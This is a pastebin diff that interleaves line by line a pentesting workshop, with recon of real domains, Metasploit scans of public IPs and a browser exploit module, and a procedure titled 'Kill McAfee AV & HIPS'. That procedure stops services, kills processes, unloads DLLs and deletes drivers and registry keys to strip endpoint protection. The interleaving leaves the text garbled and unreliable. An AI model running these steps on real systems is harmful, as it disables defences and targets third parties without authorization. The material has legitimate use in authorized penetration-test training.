View difference between Paste ID: nYWfafnA and Y7U6m2hg

-########################################
+
-# FREE Advanced Pentesting Workshop    #
+
-# By Joe McCray of Strategic Security  #
+# Kill McAfee AV & HIPS #
-#########################################
+
 
-I thought it would be fun to give one of my advanced pentesting classes out for FREE.
+1. Stop the services
 ====================
-I sincerely hope that you enjoy it and will subscribe to my YouTube channel:
+
-https://www.youtube.com/user/j0emccray
+Stop the overall AV Framework
 	net stop "McAfee Framework Service"
 
-I'd love it if you'd follow/like/connect with me on my other social media platforms.
+
-Twitter: https://twitter.com/j0emccray
+Stop the HIPS
-Facebook: https://www.facebook.com/StrategicSec
+	net stop hips
-LinkedIn: https://www.linkedin.com/in/joemccray
+	net stop enterceptagent
 	net stop firepm
 
-#############################
+
-# Download the workshop VMs #
+
-#############################
+2. Kill the processes
-https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu14.zip
+=====================
-user: strategicsec
+
-pass: strategicsec
+McAfee Processes
 	pskill -t UdaterUI
 	pskill -t TBMon
-https://s3.amazonaws.com/StrategicSec-VMs/Windows7.zip
+	pskill -t Mcshield
-user: workshop
+	pskill -t VsTskMgr
-pass: password
+	pskill -t shstat
 
 
-----------------------------------------------------------------------------------------------------------------------------
+HIPS Processes
 	pskill -t firetray
 
-Let's start by pretending that we are assessing a pentest customer from the outside.
+
 
-I like to start with identifying external security mechanisms.
+Altiris Processes
 	pskill -t AeXNSAgent
 
 
-#######################################################
+Hercules Processes
-# Section 1: Identifying External Security Mechanisms #
+	pskill -t HercUserAgent
-#######################################################
+	pskill -t HercClient
 
-Performing an external penetration test today is significantly harder than it was years ago.
+
 3. Unload DLLs
-There are so many external security mechanisms such as load balancers, reverse proxies, intrusion prevention systems, and web application firewalls.
+==============
 
-Ok, let's do this!
+Unload EPO HIPS plugin
 	regsvr32 -u fireepo.dll
-Start by logging into your Ubuntu virtual machine with username 'strategicsec' and password 'strategicsec'.
+
 
 #####################################
-###########################
+# Everything below this is research #
-# Target IP Determination #
+#####################################
-###########################
+
-cd /home/strategicsec/toolz
+
-perl blindcrawl.pl -d motorola.com
+
 4. Remove Drivers
--- Take each IP address and look ip up here:
+=================
-http://www.networksolutions.com/whois/index.jsp
+
 Note:
-cd ~/toolz/fierce2
+Somehow the "mfebopk.sys" driver needs to be unloaded. This is the Buffer Overflow protection Driver. This file should be located in "c:\windows\system32\drivers".
-fierce -dns motorola.com
+
-cd ..
+naiavf5x.sys is the Anti-Virus file system driver.
 mvstdi5x.sys is the Anti-Virus mini-Firewall driver.
--- Zone Transfer fails on most domains, but here is an example of one that works:
+
-dig axfr heartinternet.co.uk  @ns.heartinternet.co.uk
+
 Research devcon.exe: http://support.microsoft.com/kb/311272
 
-cd ~/toolz/
+Research:
-./ipcrawl 148.87.1.1 148.87.1.254                               (DNS forward lookup against an IP range)
+https://knowledge.mcafee.com/article/469/614226_f.SAL_Public.html
 
 
-sudo nmap -sL 148.87.1.0-255
+5. Remove the IPS Agent
-sudo nmap -sL 148.87.1.0-255 | grep oracle
+=======================
 To completely remove the Host IPS agent:
 
 Disable the Host IPS agent:
-###########################
+
-# Load Balancer Detection #
+   1.
-###########################
+      Open a command line session Click Start, Run, type CMD and press ENTER.
    2.
--- Here are some options to use for identifying load balancers:
+      At the command line issue the following commands:
-        - http://toolbar.netcraft.com/site_report/
+      net stop hips
-        - Firefox LiveHTTP Headers (https://addons.mozilla.org/en-Us/firefox/addon/live-http-headers/)
+      net stop enterceptagent
       net stop firepm
--- Here is an example:
+   3.
-http://toolbar.netcraft.com/site_report/?url=citigroup.com
+      Close the ClientUI
    4.
-We found out that they are using a Citrix Netscaler Load Balancer.
+      Press CTRL+ALT+DEL, in the Security menu click Task Manager.
-192.193.103.222         Citrix Netscaler
+      Select firetray.exe and click End Process
-192.193.219.58
+
 Unload the epo Plugin:
 
--- Here are some command-line options to use for identifying load balancers:
+   1.
       Open regedit: Click Start, Run, type regedit and press ENTER.
-dig google.com
+   2.
       Delete the registry key:
-cd ~/toolz
+      HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\ePolicy Orchestrator\Application Plugins\HOSTIPS_7000
-./lbd-0.1.sh motorola.com
+   3.
       At the command-line, run:
       regsvr32 -u fireepo.dll
-halberd microsoft.com
+
-halberd motorola.com
+Remove Talkback:
-halberd oracle.com
+
    1.
-###################################################
+      At the command-line run:
-# Section 2: Actually Using Metasploit (For real) #
+      C:\Program Files\Common Files\McAfee Inc\TalkBack\tbmon.exe -delref
-###################################################
+   2.
       Delete the folder:
-sudo /sbin/iptables -F
+      C:\Program Files\Common Files\McAfee Inc\TalkBack
-     strategicsec
+   3.
       Using Regedit delete the following registry entries.
-cd ~/toolz/metasploit
+       HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SharedDlls
       C:\Program Files\Common Files\McAfee Inc.\TalkBack\dbghelp.dll
-./msfconsole
+      C:\Program Files\Common Files\McAfee Inc.\TalkBack\TBMon.exe
       C:\Program Files\Common Files\McAfee Inc.\TalkBack\TBMon.loc
-##############################################
+      C:\Program Files\Common Files\McAfee Inc\TalkBack\TBMon.exe
-# Run any Linux command inside of MSFConsole #
+
-##############################################
+Remove firehk driver
-ls
+
    1.
-pwd
+      At the command-line run:
       C:\Program Files\McAfee\Host Intrusion Prevention\Inf\installfirehk.bat /u
-ping -c1 yahoo.com
+   2.
       Using Regedit delete the following registry entries:
-nmap 192.168.10.129
+      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Firehk
       HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FirehkMP
-nmap yahoo.com
+   3.
       Delete the file: C:\windows\system32\drivers\firehk.sys
 
 Delete the hipscore service and remove the drivers:
--------------------------------
+
-- You're on the outside scanning publicly accessable targets.
+   1.
       Using Regedit delete the following registry entry:
       HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\hips
    2.
-use auxiliary/scanner/portscan/tcp
+      From the command-line run:
       C:\Program Files\McAfee\Host Intrusion Prevention\HIPSCore\mfehidin.exe -u HIPK.sys HIPPSK.sys HIPQK.sys
-set RHOSTS 54.69.156.253
+   3.
       Using Regedit delete the following registry entries:
-set PORTS 80,1433,1521,3306,8000,8080,8081,10000
+      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\HIPK
       HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\HIPSK
-run
+      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\HIPQK
       HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfehidk
--------------------------------
+      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mfetdik
-use auxiliary/scanner/http/     (press the tab key, then press y to look through the http options)
+   4.
       Delete the files:
       C:\windows\system32\drivers\HIPK.sys
-- Here is an example:
+      C:\windows\system32\drivers\HIPPSK.sys
-use auxiliary/scanner/http/trace_axd
+      C:\windows\system32\drivers\HIPQK.sys
       C:\windows\system32\hipqa.dll
-        - So let's do a quick google search for someone with trace.axd file
+      C:\windows\system32\hipis.dll
-        - filetye:axd inurl:trace.axd
+      C:\windows\system32\mfehida.dll
    5.
-set RHOSTS 207.20.57.112
+      From the command-line, run:
       C:\Program Files\McAfee\Host Intrusion Prevention\HIPSCore\HIPSCoreReg.exe -u
-set VHOST motion-vr.net
+      Using Regedit delete the following registry entries:
       HKEY_LOCAL_MACHINE\SOFTWARE\McAfee\HIPSCore
-run
+
 Delete services and drivers:
--------------------------------
+
    1.
       Using Regedit delete the following registry entries:
-use auxiliary/scanner/http/http_version
+      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\enterceptAgent
       HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FirePM
-set RHOSTS 54.69.156.253
+      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\firelm01
       HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FireTDI
-set RPORT 8081
+   2.
       Delete the files:
-run
+      C:\WINDOWS\system32\drivers\firelm01.sys
       C:\WINDOWS\system32\drivers\FirePM.sys
       C:\WINDOWS\system32\drivers\FireTDI.sys
--------------------------------
+
 Remove the Host IPS registry
-use auxiliary/scanner/http/tomcat_enum
+
    1.
-set RHOSTS 54.69.156.253
+      Using Regedit delete the following registry entries:
       HKEY_LOCAL_MACHINE\SOFTWARE\McAfee\HIP
-set RPORT 8081
+      HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog\Application\enterceptAgent
       HKEY_LOCAL_MACHINE\SOFTWARE\Entercept\EnterceptAgent
-run
+      HKEY_LOCAL_MACHINE\SOFTWARE\Network Associates\McAfee Fire
       HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ McAfee Host Intrusion Prevention Tray
 
 Remove Host IPS files
--------------------------------
+
-- In my opinion a much better option is a script called 'discover' from Lee Baird.
+   1.
       Delete the folder
-- You can get it here:
+      C:\Program Files\McAfee\Host Intrusion Prevention
-https://github.com/leebaird/discover
+   2.
       Delete the files:
-- On the Ubuntu attack host you can run discover by typing the following:
+      C:\WINDOWS\system32\FireCL.dll
-cd ~/toolz/discover
+      C:\WINDOWS\system32\FireCNL.dll
-sudo ./discover
+      C:\WINDOWS\system32\FireComm.dll
       C:\WINDOWS\system32\FireCore.dll
       C:\WINDOWS\system32\FireEpo.dll
-- From here you can just follow the prompts. It will run both Nmap NSE scripts and Metasploit aux modules with all of the correct parameters for you.
+      C:\WINDOWS\system32\FireNHC.dll
       C:\WINDOWS\system32\FireSCV.dll
 
-##################################
+Remove the shortcut:
-# Basic Client-Side Exploitation #
+
-##################################
+   1. Navigate to: C:\Documents and Settings\All Users\Start Menu\Programs\McAfee\
    2. Delete the Host Intrusion Prevention shortcut.
-echo j0e-r0x > /home/strategicsec/j0e-r0x.txt                   (You can of course replace j0e-r0x with yourname)
+
 Clean up:
-sudo /sbin/iptables -F
+
-     strategicsec
+   1.
       Use msizap.exe to remove the MSI registry values.
-cd ~/toolz/metasploit
+      From the command line execute:
       msizap.exe TW! {B332732A-4958-41DD-B439-DDA2D32753C5}.
-./msfconsole
+   2.
       Alterntively install the Windows Installer Cleanup Utility (msicuu.exe) and use this to remove the registry keys. This displays all the MSI based products that are installed allowing selection of  the product to have it's MSI data removed. For further information: http://support.microsoft.com/kb/290301/en-us
-use exploit/windows/browser/ie_cgenericelement_uaf
+   3.
       Restart the client.